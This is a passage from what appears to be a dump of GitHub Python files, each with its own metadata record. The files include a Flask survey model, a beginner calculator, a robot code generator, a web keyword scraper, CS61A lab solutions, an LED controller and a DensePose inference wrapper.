10)\r\ng.sprites.append(platform1)\r\ng.sprites.append(platform2)\r\ng.sprites.append(platform3)\r\ng.sprites.append(platform4)\r\ng.sprites.append(platform5)\r\ng.sprites.append(platform6)\r\ng.sprites.append(platform7)\r\ng.sprites.append(platform8)\r\ng.sprites.append(platform9)\r\ng.sprites.append(platform10)\r\nsf = StickFigureSprite(g)\r\ng.sprites.append(sf)\r\ng.mainloop()\r\n#Класс Game будет главным управляющим классом игры, а объекты класса Coords используем для хранения позиций графических объектов (платформ и человечка)\r\n","repo_name":"devid-saakyan/escaping_game","sub_path":"Escaping man.py","file_name":"Escaping man.py","file_ext":"py","file_size_in_byte":13161,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29774654461","text":"# Application condition\nwaitFor.id == max_used_id and not cur_node_is_processed\n\n# Reaction\nport = \"NXT_PORT_S\" + waitFor.Port\n\ncolor_nxt_type = \"\"\ncolor_str = waitFor.Color\n\nif color_str == \"Красный\":\n color_nxt_type = \"NXT_COLOR_RED\"\nelif color_str == \"Зелёный\":\n color_nxt_type = \"NXT_COLOR_GREEN\"\nelif color_str == \"Синий\":\n color_nxt_type = \"NXT_COLOR_BLUE\"\nelif color_str == \"Чёрный\":\n color_nxt_type = \"NXT_COLOR_BLACK\"\nelif color_str == \"Жёлтый\":\n color_nxt_type = \"NXT_COLOR_YELLOW\"\nelif color_str == \"Белый\":\n color_nxt_type = \"NXT_COLOR_WHITE\"\n\nwait_for_color_block_code = \"while (ecrobot_get_nxtcolorsensor_id(\" + port + \") != \" + color_nxt_type + \") {}\\n\"\nwait_init_code = \"ecrobot_init_nxtcolorsensor(\" + port + \", \" + color_nxt_type + \");\\n\"\nwait_terminate_code = \"ecrobot_init_nxtcolorsensor(\" + port + \", \" + color_nxt_type + \");\\n\"\n\nif wait_init_code not in init_code:\n init_code.append(wait_init_code)\n terminate_code.append(wait_terminate_code)\n\ncode.append([wait_for_color_block_code])\nid_to_pos_in_code[waitFor.id] = len(code) - 1\n\ncur_node_is_processed = True\n","repo_name":"zhitm/trik-studio","sub_path":"plugins/tools/visualInterpreter/examples/robotsCodeGeneration/reactionsStorage/WaitForColorBlockGenerator.py","file_name":"WaitForColorBlockGenerator.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14249306100","text":"from flask_app.config.mysqlconnection import connectToMySQL\nfrom flask import flash\n\nclass Survey:\n def __init__(self, data):\n self.id = data['id']\n self.name = data['name']\n self.location = data['location']\n self.language = data['language']\n self.comment = data['comment']\n self.create_at = data['created_at']\n self.updated_at = data['updated_at']\n \n @classmethod\n def save(cls, data):\n query = \"\"\"\n INSERT INTO dojos_table (name, location, language, comment, created_at, updated_at)\n VALUES (%(name)s, %(location)s, %(language)s, %(comment)s, NOW(), NOW());\n \"\"\"\n results = connectToMySQL('dojo_survery_schema').query_db(query, data)\n return results\n \n @classmethod\n def get_recent(cls):\n query = \"\"\"\n SELECT * \n FROM dojos_table\n ORDER BY dojos_table.id\n DESC LIMIT 1;\n \"\"\"\n results = connectToMySQL('dojo_survery_schema').query_db(query)\n return Survey(results[0])\n \n @staticmethod\n def is_valid(survey):\n is_valid = True\n if len(survey['name']) < 3:\n is_valid = False\n flash(\"Name must be at least 3 characters.\")\n if len(survey['location']) < 1:\n is_valid = False\n flash(\"Must choose a dojo location.\")\n if len(survey['language']) < 1:\n is_valid = False\n flash(\"Must choose a favorite language.\")\n if len(survey['comment']) < 3:\n is_valid = False\n flash(\"Comments must be at least 3 characters.\")\n return is_valid","repo_name":"Yancenteno/Python","sub_path":"flask_mysql/validation/DojoSurvey/flask_app/models/survey_model.py","file_name":"survey_model.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7864496861","text":"\"\"\"\nProject Name: CALCULATOR\nConcepts: variables, loops, functions, parameters, operators\nHomework: add an exponent option\n\"\"\"\n\n\n\n# allows us to clear the screen \nimport os\n\n# allows us to pause the screen\nimport time\n\n\n# create a function that lets the computer clear screen after an amount of seconds (discuss parameters)\ndef clr(seconds):\n # let the computer pause for an amount of seconds\n time.sleep(seconds)\n # clear the screen\n os.system(\"clear\") \n\n\n# create a function that returns the sum of two parameters\ndef add(x,y): \n return x + y \n \n\n# create a function that returns the difference of two parameters\ndef subtract(x,y):\n return x - y\n\n\n# create a function that returns the quotient of two parameters\ndef divide(x,y):\n return x / y\n\n\n# create a function that returns the product of two parameters\ndef multiply(x,y):\n return x * y\n \n\n# create the menu with options\ndef menu():\n clr(1)\n print(\"1 -- ADD\") \n print(\"2 -- SUBTRACT\")\n print(\"3 -- DIVIDE\")\n print(\"4 -- MULTIPLY\")\n print(\"5 -- QUIT\")\n \n # create an integer input to choose an operation\n choice = int(input(\"Choose an operation >>>\"))\n\n # use a for loop to cycle through options\n for i in range(1,6):\n \n # only allow integer input\n try:\n number1 = int(input(\"Number 1 >>> \")) \n number2 = int(input(\"Number 2 >>> \"))\n \n # restart menu if letters are input\n except:\n print(\"invalid input\")\n menu()\n \n # addition\n if choice == 1:\n print(\"%d + %d = %d\" % (number1, number2, add(number1,number2)))\n \n # subtraction\n elif choice == 2:\n print(\"%d - %d = %d\" % (number1, number2, subtract(number1,number2)))\n \n # division\n elif choice == 3: \n print(\"%d / %d = %d\" % (number1, number2, divide(number1,number2)))\n \n # multiplication\n elif choice == 4:\n print(\"%d * %d = %d\" % (number1, number2, multiply(number1,number2)))\n \n # exit(0) quits all processes\n elif choice == 5:\n print(\"Bye\")\n exit(0) \n \n # invalid input\n else:\n print(\"NOT A VALID CHOICE\")\n clr(1) # clears he screen for one second\n menu() # returns the menu to try again\n\n\n# run the menu function to begin the program\nmenu() \n\n\n \n'''\nCONCEPTS\n - libraries\n - functions & parameters\n - parameters\n - variables\n - return statements\n - built in functions\n - try/except\n - if statements\n\n\nHOMEWORK\n - \n'''","repo_name":"huey-nibiru/python-platform","sub_path":"10-October/week3.py","file_name":"week3.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27921325332","text":"import re\n\nclass Person:\n def __init__(self, name_ado_id, role, github_username, email=None):\n self.name_ado_id = name_ado_id\n self.role = role\n self.github_username = github_username\n self.email = email\n\n def __repr__(self):\n return f\"Person(name_ado_id='{self.name_ado_id}', role='{self.role}', github_username='{self.github_username}', email='{self.email}')\"\n\ndef read_markdown_file(filename):\n with open(filename, 'r') as file:\n return file.read()\n\n# Read data from markdown file\ndata = read_markdown_file('data/employees.md')\n\n# Split data by lines and initialize an empty list to store Person objects\nlines = data.strip().split('\\n')\npersons = []\n\n# Regex patterns to extract GitHub usernames, Names/ADO IDs, Roles, and Emails\ngithub_pattern = r'\\[`(.+?)`\\]'\nname_ado_pattern = r'\\| ([^\\|]+) \\|'\nrole_pattern = r'\\| ([^\\|]+) \\|'\nemail_pattern = r'\\[.+\\]\\(mailto:(.+)\\)'\n\nfor i, line in enumerate(lines[3:], start=3): # Skip headers\n if line.startswith('|--'): # Skip separator line\n continue\n\n github_match = re.search(github_pattern, line)\n name_ado_match = re.search(name_ado_pattern, line)\n role_match = re.search(role_pattern, line)\n email_match = re.search(email_pattern, line)\n\n if github_match and name_ado_match and role_match:\n github_username = github_match.group(1)\n name_ado_id = name_ado_match.group(1).strip()\n role = role_match.group(1).strip()\n email = email_match.group(1) if email_match else None\n\n person = Person(name_ado_id, role, github_username, email)\n persons.append(person)\n # else:\n # print(f\"Data on line {i} could not be parsed.\")\n\n# Display extracted data\nfor person in persons:\n print(person)\n\n","repo_name":"jakobbohem/jakobs-personnel","sub_path":"TEMP_extract_data.py","file_name":"TEMP_extract_data.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"43078084519","text":"# -*- coding: utf-8 -*-\n#Version: 1.0.1\n#Created by Jose C. García Gamero\n#Twitter: @jcgarciagamero\n\nimport os\nimport sys\nimport urllib.request, urllib.parse, urllib.error, re\n\nprint(' ____ U _____ u____ ____ _____ U ___ u ')\nprint('U| _\"\\ u\\| ___\"|/ _\"\\\\U | _\"\\ u ___ |_ \" _| \\/\"_ \\/ ')\nprint('\\| |_) |/ | _|\"/| | | |\\| |_) |/ |_\"_| | | | | | | ')\nprint(' | __/ | |___U| |_| |\\| _ < | | /| |\\.-,_| |_| | ')\nprint(' |_| |_____||____/ u|_| \\_\\ U/| |\\\\u u |_|U \\_)-\\___/ ')\nprint(' ||>>_ << >> |||_ // \\\\_.-,_|___|_,-._// \\\\_ \\\\ ')\nprint('(__)__) (__) (__|__)_) (__) (__)\\_)-' '-(_/(__) (__) (__) ')\n\n\n\n\nenlaces = (['http://example1.com','http://example2.com']) #Modify with your list of domains.\n\nfor enlace in enlaces:\n\n\tvar = 0\n\tscan = enlace\n\tos.system(\"curl -L -m 10 %s > tmp.txt\" %scan)\n\t\n\tf = open ('tmp.txt','r',encoding='utf-8')\n\tlines = f.read()\n\tf.close()\n\n\t\n\t\n\twords = (['keyword','keyword2']) #Modify with your list of keywords\n\tprint((\"Domain: \"+enlace))\n\tprint(\"Detected keywords:\")\n\n\tfor busqueda in words:\n\t\t\n\t\tsearch = lines.find(busqueda) \n\t\tif search != -1:\n\t\t\tprint(busqueda)\n\t\t\tif var != 1:\n\t\t\t\tenlas = re.findall('http?://(?:[-\\w.]|(?:%[\\da-fA-F]{2}))+', lines)\n\t\t\t\tf=open(\"logs.txt\",\"a\")\n\t\t\t\tf.write(\"Domain: \"+scan+ \"\\nEnlaces:\\n\"+str(enlas)+\"\\nDetected keywords: \\n\")\n\t\t\t\tf.close()\n\t\t\t\tf=open(\"logs.txt\",\"a\")\n\t\t\t\tf.write(busqueda+\",\")\n\t\t\t\tf.close()\n\t\t\t\tprint(\"Links: \")\n\t\t\t\tprint(enlas)\n\t\t\t\tf=open(\"logs.txt\",\"a\")\n\t\t\t\tf.write(\"\\n\")\n\t\t\t\tf.close()\n\n\t\t\t\tvar = 1\n\t\t\telse:\n\t\t\t\tf=open(\"logs.txt\",\"a\")\n\t\t\t\tf.write(busqueda+\",\")\n\t\t\t\tf.close()\n\t\t\t\tf=open(\"logs.txt\",\"a\")\n\t\t\t\tf.write(\"\\n\")\n\t\t\t\tf.close()\n\t\t\n","repo_name":"jcgarciagamero/Pedrito","sub_path":"pedrito.py","file_name":"pedrito.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"6501966132","text":"__author__ = 'Mark Pesce'\n__version__ = '0.01-dev'\n__license__ = 'MIT'\n\nimport random, json, requests\n\n\nclass EngineRoom:\n\tdef __init__(self, address):\n\t\tself.address = address\n\t\tself.numleds = 96\n\t\tself.leds = []\t\t\t# Array of LED values. This may actually exist elsewhere eventually.\n\t\tln = 0\n\t\twhile (ln < self.numleds):\n\t\t\tself.leds.append([0x00, 0x00, 0x00])\t# Create and clear an array of RGB LED values\n\t\t\tln = ln + 1\n\t\treturn\n\n\tdef get_led_value(self, lednum):\n\t\tif lednum < self.numleds:\n\t\t\treturn self.leds[lednum]\n\t\telse:\n\t\t\traise IndexError(\"Illegal LED number\")\n\n\n\tdef set_led_value(self, lednum, value):\n\t\tif lednum < self.numleds:\n\t\t\tself.leds[lednum][0] = value[0]\n\t\t\tself.leds[lednum][1] = value[1]\n\t\t\tself.leds[lednum][2] = value[2]\n\t\t\tself.render()\n\t\t\t#print self.leds\n\t\t\treturn self.leds[lednum]\n\t\telse:\n\t\t\traise IndexError(\"Illegal LED number\")\n\n\tdef get_light_values(self):\n\t\treturn { \"lights\": self.leds }\t\t\n\n\tdef set_light_values(self, value):\n\t\tln = 0\n\t\twhile (ln < self.numleds):\n\t\t\tself.leds[ln][0] = value[0]\t# White please\n\t\t\tself.leds[ln][1] = value[1]\n\t\t\tself.leds[ln][2] = value[2]\n\t\t\tln = ln + 1\n\t\tself.render()\n\t\treturn { \"lights\": self.leds }\t\n\n\tdef rand(self):\n\t\t\"\"\"Fill the array with random color values\"\"\"\n\t\tln = 0\n\t\twhile (ln < self.numleds):\n\t\t\tself.leds[ln][0] = random.randint(0,127)\n\t\t\tself.leds[ln][1] = random.randint(0,127)\n\t\t\tself.leds[ln][2] = random.randint(0,127)\n\t\t\tself.leds[ln][random.randint(0,2)] = 0\n\t\t\tln = ln + 1\n\t\tself.render()\n\t\treturn { \"lights\": self.leds }\t\n\n\tdef render(self):\n\t\t\"\"\"Render the LED array to the Light\"\"\"\n\t\t\"\"\"This version is safe because it uses the IoTAS API\"\"\"\n\t\tpayload = json.dumps({ \"values\": self.leds })\n\t\t#print payload\n\t\ttheurl = \"\"\"http://%s/device/light/setvalues\"\"\" % self.address\n\t\tr = requests.put(theurl,data=payload)\n\t\treturn r\n\nif __name__ == '__main__':\n\ter = EngineRoom('cloud0.local:8080')\n\twhile (True):\n\t\tr = er.rand()\n","repo_name":"moorescloud/holideck","sub_path":"iotas/rand.py","file_name":"rand.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"30023533345","text":"def insert_into_all(item, nested_list):\n \"\"\"Assuming that nested_list is a list of lists, return a new list\n consisting of all the lists in nested_list, but with item added to\n the front of each.\n\n >>> nl = [[], [1, 2], [3]]\n >>> insert_into_all(0, nl)\n [[0], [0, 1, 2], [0, 3]]\n \"\"\"\n return [[item] + lst for lst in nested_list]\n\ndef subseqs(s):\n \"\"\"Assuming that S is a list, return a nested list of all subsequences\n of S (a list of lists). The subsequences can appear in any order.\n\n >>> seqs = subseqs([1, 2, 3])\n >>> sorted(seqs)\n [[], [1], [1, 2], [1, 2, 3], [1, 3], [2], [2, 3], [3]]\n >>> subseqs([])\n [[]]\n \"\"\"\n if not s:\n return [[]]\n else:\n subset = subseqs(s[1:])\n return insert_into_all(s[0], subset) + subset\n\n\ndef inc_subseqs(s):\n \"\"\"Assuming that S is a list, return a nested list of all subsequences\n of S (a list of lists) for which the elements of the subsequence\n are strictly nondecreasing. The subsequences can appear in any order.\n\n >>> seqs = inc_subseqs([1, 3, 2])\n >>> sorted(seqs)\n [[], [1], [1, 2], [1, 3], [2], [3]]\n >>> inc_subseqs([])\n [[]]\n >>> seqs2 = inc_subseqs([1, 1, 2])\n >>> sorted(seqs2)\n [[], [1], [1], [1, 1], [1, 1, 2], [1, 2], [1, 2], [2]]\n \"\"\"\n def subseq_helper(s, prev):\n if not s:\n return [[]]\n elif s[0] < prev:\n return subseq_helper(s[1:], prev)\n else:\n a = subseq_helper(s[1:], prev)\n b = subseq_helper(s[1:], s[0])\n return insert_into_all(s[0], b) + a\n return subseq_helper(s, -1)\n\n\ndef trade(first, second):\n \"\"\"Exchange the smallest prefixes of first and second that have equal sum.\n\n >>> a = [1, 1, 3, 2, 1, 1, 4]\n >>> b = [4, 3, 2, 7]\n >>> trade(a, b) # Trades 1+1+3+2=7 for 4+3=7\n 'Deal!'\n >>> a\n [4, 3, 1, 1, 4]\n >>> b\n [1, 1, 3, 2, 2, 7]\n >>> c = [3, 3, 2, 4, 1]\n >>> trade(b, c)\n 'No deal!'\n >>> b\n [1, 1, 3, 2, 2, 7]\n >>> c\n [3, 3, 2, 4, 1]\n >>> trade(a, c)\n 'Deal!'\n >>> a\n [3, 3, 2, 1, 4]\n >>> b\n [1, 1, 3, 2, 2, 7]\n >>> c\n [4, 3, 1, 4, 1]\n \"\"\"\n m, n = 1, 1\n\n equal_prefix = lambda: sum(first[:m]) == sum(second[:n])\n while m <= len(first) and n <= len(second) and not equal_prefix():\n if sum(first[:m]) < sum(second[:n]):\n m += 1\n else:\n n += 1\n\n if equal_prefix():\n first[:m], second[:n] = second[:n], first[:m]\n return 'Deal!'\n else:\n return 'No deal!'\n\n\ndef reverse(lst):\n \"\"\"Reverses lst using mutation.\n\n >>> original_list = [5, -1, 29, 0]\n >>> reverse(original_list)\n >>> original_list\n [0, 29, -1, 5]\n >>> odd_list = [42, 72, -8]\n >>> reverse(odd_list)\n >>> odd_list\n [-8, 72, 42]\n \"\"\"\n left = 0\n right = len(lst) - 1\n while left < right:\n tmp = lst[left]\n lst[left] = lst[right]\n lst[right] = tmp\n left += 1\n right -= 1\n return lst\n\n\"\"\"I got the feedback below:\n\n # Error: expected\n\n # but got\n # [0, 29, -1, 5]\n Don't really understand where the problem is?\n\"\"\"\n\n\ncs61a = {\n \"Homework\": 2,\n \"Lab\": 1,\n \"Exam\": 50,\n \"Final\": 80,\n \"PJ1\": 20,\n \"PJ2\": 15,\n \"PJ3\": 25,\n \"PJ4\": 30,\n \"Extra credit\": 0\n}\n\ndef make_glookup(class_assignments):\n \"\"\" Returns a function which calculates and returns the current\n grade out of what assignments have been entered so far.\n\n >>> student1 = make_glookup(cs61a) # cs61a is the above dictionary\n >>> student1(\"Homework\", 1.5)\n 0.75\n >>> student1(\"Lab\", 1)\n 0.8333333333333334\n >>> student1(\"PJ1\", 18)\n 0.8913043478260869\n \"\"\"\n current_grade = 0\n current_total_grade = 0\n def helper(part, score):\n assert part in class_assignments\n nonlocal current_grade, current_total_grade\n current_total_grade += class_assignments[part]\n current_grade += score\n return current_grade / current_total_grade\n return helper\n\n\ndef num_trees(n):\n \"\"\"How many full binary trees have exactly n leaves? E.g.,\n\n 1 2 3 3 ...\n * * * *\n / \\ / \\ / \\\n * * * * * *\n / \\ / \\\n * * * *\n\n >>> num_trees(1)\n 1\n >>> num_trees(2)\n 1\n >>> num_trees(3)\n 2\n >>> num_trees(8)\n 429\n\n \"\"\"\n \n if n == 1 or n == 2:\n return 1\n return num_trees(n - 1) * (4 * n - 6) // n\n\n \"\"\"Using Catalan number, which has the recursive formula:\n h(n) = h(n - 1) * (4 * n - 2) / (n + 1) (n = 0, 1, 2, ...)\n In this function we should start from 1 which means that \n when calling num_trees(n), it returns Catalan(0) = h(0).\n So nums_trees(n) = nums_trees(n-1) * (4*(n-1)-2)/(n-1)+1\n \"\"\"\n\ndef make_advanced_counter_maker():\n \"\"\"Makes a function that makes counters that understands the\n messages \"count\", \"global-count\", \"reset\", and \"global-reset\".\n See the examples below:\n\n >>> make_counter = make_advanced_counter_maker()\n >>> tom_counter = make_counter()\n >>> tom_counter('count')\n 1\n >>> tom_counter('count')\n 2\n >>> tom_counter('global-count')\n 1\n >>> jon_counter = make_counter()\n >>> jon_counter('global-count')\n 2\n >>> jon_counter('count')\n 1\n >>> jon_counter('reset')\n >>> jon_counter('count')\n 1\n >>> tom_counter('count')\n 3\n >>> jon_counter('global-count')\n 3\n >>> jon_counter('global-reset')\n >>> tom_counter('global-count')\n 1\n \"\"\"\n global_count = 0\n\n def make_counter():\n count = 0\n\n def counter(info):\n nonlocal count, global_count\n if info == 'count':\n count += 1\n return count\n if info == 'global-count':\n global_count += 1\n return global_count\n if info == 'reset':\n count = 0\n if info == 'global-reset':\n global_count = 0\n\n return counter\n\n return make_counter\n\n","repo_name":"Matrix0321/UCBerkley-CS61A","sub_path":"lab/lab07/lab07.py","file_name":"lab07.py","file_ext":"py","file_size_in_byte":6107,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"3767481773","text":"from visual import *\r\nfrom curvas import *\r\n\r\n\r\ndef palmera_clase(p,u,v,w,h,a,g,lhoja,hhoja,ntriangulos,at):\r\n\r\n p0 = p\r\n p1 = p0 +.5*h*w\r\n p2 = p0 + .5*a*u + .5*h*w\r\n p3 = p0 + a*u + h*w\r\n\r\n curva = curve()\r\n inct = .01\r\n t=0\r\n\r\n while (t<1):\r\n q = Bez(p0, p1, p2, p3, t)\r\n curva.append(pos=q)\r\n t+=inct\r\n\r\n ntroncos = 10\r\n inct = 1./ntroncos\r\n t = 0\r\n\r\n while(t<1):\r\n q = Bez(p0, p1, p2, p3, t)\r\n h = Bez(p0, p1, p2, p3, t+inct)\r\n cylinder(pos = q, radius = g, axis = h-q, color= (.7,.5,0))\r\n t += inct\r\n g = .9*g\r\n \r\n wt = norm(h-q)\r\n ut = norm(cross(wt, vector(1,0,0)))\r\n vt = cross(ut,wt)\r\n\r\n nhojas = 9\r\n\r\n ang = 2*pi/nhojas\r\n i =0\r\n while(i 0]\n if len(box_list) > 0:\n boxes = np.concatenate(box_list)\n else:\n boxes = None\n if cls_segms is not None:\n segms = [s for slist in cls_segms for s in slist]\n else:\n segms = None\n if cls_keyps is not None:\n keyps = [k for klist in cls_keyps for k in klist]\n else:\n keyps = None\n classes = []\n for j in range(len(cls_boxes)):\n classes += [j] * len(cls_boxes[j])\n return boxes, segms, keyps, classes\n\n\nclass DensePoseModel:\n\n def __init__(self, weights=\"\"):\n self.model=None\n self.dummy_coco_dataset=None\n self.construct_model(weights)\n\n def construct_model(self,weights):\n logger = logging.getLogger(__name__)\n\n self.model = infer_engine.initialize_model_from_cfg(weights)\n self.dummy_coco_dataset = dummy_datasets.get_coco_dataset()\n logger.info(\"Model created\\n\\n\\n\")\n\n def form_IUV_mask(self,im, boxes, segms=None, keypoints=None, body_uv=None, thresh=0.9):\n\n\n if isinstance(boxes, list):\n boxes, segms, keypoints, classes = convert_from_cls_format(\n boxes, segms, keypoints)\n\n if boxes is None or boxes.shape[0] == 0 or max(boxes[:, 4]) < thresh:\n return\n\n # DensePose Visualization Starts!!\n ## Get full IUV image out\n IUV_fields = body_uv[1]\n #\n All_Coords = np.zeros(im.shape)\n All_inds = np.zeros([im.shape[0], im.shape[1]])\n K = 26\n ##\n inds = np.argsort(boxes[:, 4])\n ##\n for i, ind in enumerate(inds):\n entry = boxes[ind, :]\n if entry[4] > 0.65:\n entry = entry[0:4].astype(int)\n ####\n output = IUV_fields[ind]\n ####\n All_Coords_Old = All_Coords[entry[1]: entry[1] + output.shape[1], entry[0]:entry[0] + output.shape[2],\n :]\n All_Coords_Old[All_Coords_Old == 0] = output.transpose([1, 2, 0])[All_Coords_Old == 0]\n All_Coords[entry[1]: entry[1] + output.shape[1], entry[0]:entry[0] + output.shape[2],\n :] = All_Coords_Old\n ###\n CurrentMask = (output[0, :, :] > 0).astype(np.float32)\n All_inds_old = All_inds[entry[1]: entry[1] + output.shape[1], entry[0]:entry[0] + output.shape[2]]\n All_inds_old[All_inds_old == 0] = CurrentMask[All_inds_old == 0] * i\n All_inds[entry[1]: entry[1] + output.shape[1], entry[0]:entry[0] + output.shape[2]] = All_inds_old\n #\n All_Coords[:, :, 1:3] = 255. * All_Coords[:, :, 1:3]\n All_Coords[All_Coords > 255] = 255.\n All_Coords = All_Coords.astype(np.uint8)\n return All_Coords\n\n def predict_iuvs(self,imlist):\n #images in bgr not rgb\n\n IUVs_List=[]\n logger = logging.getLogger(__name__)\n timers = defaultdict(Timer)\n t = time.time()\n\n height, width, layers = imlist[0].shape\n for count,im in enumerate(imlist):\n with c2_utils.NamedCudaScope(0):\n cls_boxes, cls_segms, cls_keyps, cls_bodys = infer_engine.im_detect_all(\n self.model, im, None, timers=timers\n )\n\n\n logger.info('Inference time: {:.3f}s'.format(time.time() - t))\n for k, v in timers.items():\n logger.info(' | {}: {:.3f}s'.format(k, v.average_time))\n\n IUVs = self.form_IUV_mask(\n im[:, :, ::-1], # BGR -> RGB for visualization\n cls_boxes,\n cls_segms,\n cls_keyps,\n cls_bodys,\n thresh=0.7,\n )\n if IUVs is None:\n print(\"frame missing\")\n if count != 0:\n IUVs = IUVs_List[-1]\n else:\n IUVs = np.zeros((height, width, 3), dtype=np.uint8)\n\n if IUVs.shape != tuple((height, width, 3)):\n print(\"shape mismatch occured. Shape expected {} Shape received {}\".format((height, width, 3),\n IUVs.shape))\n IUVs = np.zeros((height, width, 3), dtype=np.uint8)\n\n\n\n IUVs_List.append(IUVs)\n return IUVs_List\n","repo_name":"M-Usman10/DenseSqueeze-RCNN","sub_path":"detectron/core/construct_test_model.py","file_name":"construct_test_model.py","file_ext":"py","file_size_in_byte":5008,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"20894073510","text":"import argparse\nimport pymod.mc\n\ndescription = \"Unload modules from environment\"\nlevel = \"short\"\nsection = \"basic\"\n\n\ndef setup_parser(subparser):\n \"\"\"Parser is only constructed so that this prints a nice help\n message with -h. \"\"\"\n subparser.add_argument(\"names\", nargs=argparse.REMAINDER, help=\"Modules to unload\")\n\n\ndef unload(parser, args):\n for name in args.names:\n pymod.mc.unload(name)\n pymod.mc.dump()\n","repo_name":"tjfulle/Modulecmd.py","sub_path":"lib/pymod/pymod/command/unload.py","file_name":"unload.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20309517681","text":"from urllib.request import Request, urlopen\nfrom urllib.parse import urlencode\nfrom pathlib import Path\nfrom shutil import copyfile\nimport json\nimport yaml\n\n\nclass Authentication:\n\n def __init__(self):\n self.url = ''\n self.token = ''\n self.body = {}\n\n def getConfig(self):\n parameters_file = Path(\"apiclient/parameters.yml\")\n if parameters_file.is_file() is False:\n copyfile('apiclient/parameters.yml.dist', 'apiclient/parameters.yml')\n\n stream = open(\"apiclient/parameters.yml\", \"r\")\n config = yaml.load_all(stream)\n for parameters in config:\n for key, value in parameters.items():\n if key == 'url':\n self.url = value\n else:\n self.body[key] = value\n self.body['grant_type'] = 'password'\n\n '''\n Authentication\n '''\n def auth(self):\n self.getConfig()\n authUrl = self.url + '/oauth/v2/token'\n request = Request(authUrl, urlencode(self.body).encode())\n response = urlopen(request)\n code = response.getcode()\n body = response.read().decode()\n data = {'code': code, 'body': json.loads(body)}\n\n self.token = data['body']['access_token']\n\n '''\n Make a request\n '''\n def request(self, url, body=None, method='GET'):\n self.auth()\n url = self.url+url\n header = {\n 'Authorization': 'Bearer '+self.token,\n 'Content-Type': 'application/json',\n 'Accept-Language': 'fr_FR'\n }\n if method == 'GET':\n request = Request(url, None, header, method)\n elif method == 'POST':\n content = json.dumps(body).encode('utf8')\n request = Request(url, content, header, 'POST')\n\n response = urlopen(request, timeout=30)\n body = response.read().decode()\n\n return json.loads(body)\n","repo_name":"bourdeau/api-client","sub_path":"apiclient/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"71411109319","text":"#from ordered_dict import *\n#from collections import OrderedDict\nscan_qz = {'comment': 'Qz scan',\n 'filename': 'test.txt',\n 'init_state': OrderedDict([('scaler_gating_mode', 'TIME'), ('scaler_time_preset', 1.0)]),\n 'iterations': 21,\n 'namestr': 'CG1',\n 'vary': OrderedDict([('qz', '0.0 + 0.0001*i'), ('a4', '2.0*asin(wavelength*q/(4.0*pi)) * 180.0 / pi'), ('a3', 'a4/2.0')])}\n\nscan_qx = {'comment': 'Qx scan',\n 'filename': 'qx_20micron_sampletest.txt',\n 'init_state': ([('scaler_gating_mode', 'TIME'), ('scaler_time_preset', 1.0), ('wavelength', 6550.0)]),\n 'iterations': 1001,\n 'namestr': 'CG1',\n 'vary': ([ \n ('qx', '-3.2e-4 + 6.4e-7*i'),\n ('qz', '0.0016'),\n ('q', 'sqrt(qx**2 + qz**2)'),\n ('a4', '2.0*asin(wavelength*q/(4.0*pi)) * 180.0 / pi'),\n ('sample_angle', 'a4/2.0 + (asin(qx/q) * 180.0 / pi)'),\n ('a3', 'a4 - sample_angle')])}\n\nshortscan = {'comment': 'Qx scan',\n 'filename': 'shortscan.txt',\n 'init_state': ([('scaler_gating_mode', 'TIME'), ('scaler_time_preset', 1.0), ('wavelength', 6550.0)]),\n 'iterations': 5,\n 'namestr': 'CG1',\n 'vary': ([ \n ('qx', '-3.2e-4 + 6.4e-7*i'),\n ('qz', '0.0016'),\n ('q', 'sqrt(qx**2 + qz**2)'),\n ('a4', '2.0*asin(wavelength*q/(4.0*pi)) * 180.0 / pi'),\n ('sample_angle', 'a4/2.0 + (asin(qx/q) * 180.0 / pi)'),\n ('a3', 'a4 - sample_angle')])}\n\n\n","repo_name":"bmaranville/pyrecs","sub_path":"pyrecs/scan_def.py","file_name":"scan_def.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33266246996","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 22 16:37:23 2020\n\n@author: Aiken\n\nFor running 3D PCA analysis on MN, FSGS, and IgAN datasets.\n\"\"\"\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.decomposition import PCA\n\nfilePath = '/filePathTo/file.csv'\n# load dataset into Pandas DataFrame\ndf = pd.read_csv(filePath)\nnrow, ncol = df.shape\nhealthyCtrl = 21 # put the number of sample in the control group\n\n# Standardizing the data\nnorm_data = StandardScaler().fit_transform(df)\n\npca = PCA(n_components=3)\nprincipalComponents = pca.fit_transform(norm_data)\nprincipalDf = pd.DataFrame(data = principalComponents\n , columns = ['PC-1', 'PC-2', 'PC-3'])\n\npca2 = PCA(n_components=2)\nprincipalComponents2 = pca2.fit_transform(norm_data)\nprincipalDf2 = pd.DataFrame(data = principalComponents2\n , columns = ['PC-1', 'PC-2'])\n\ngroup = []\nfor i in range(nrow):\n if i int:\n \"\"\"Returns eventual index of a pivot\"\"\"\n\n n = stop - start\n p = start + random.randrange(n)\n a[start], a[p] = a[p], a[start]\n\n last = start\n for i in range(start, stop):\n if a[i] 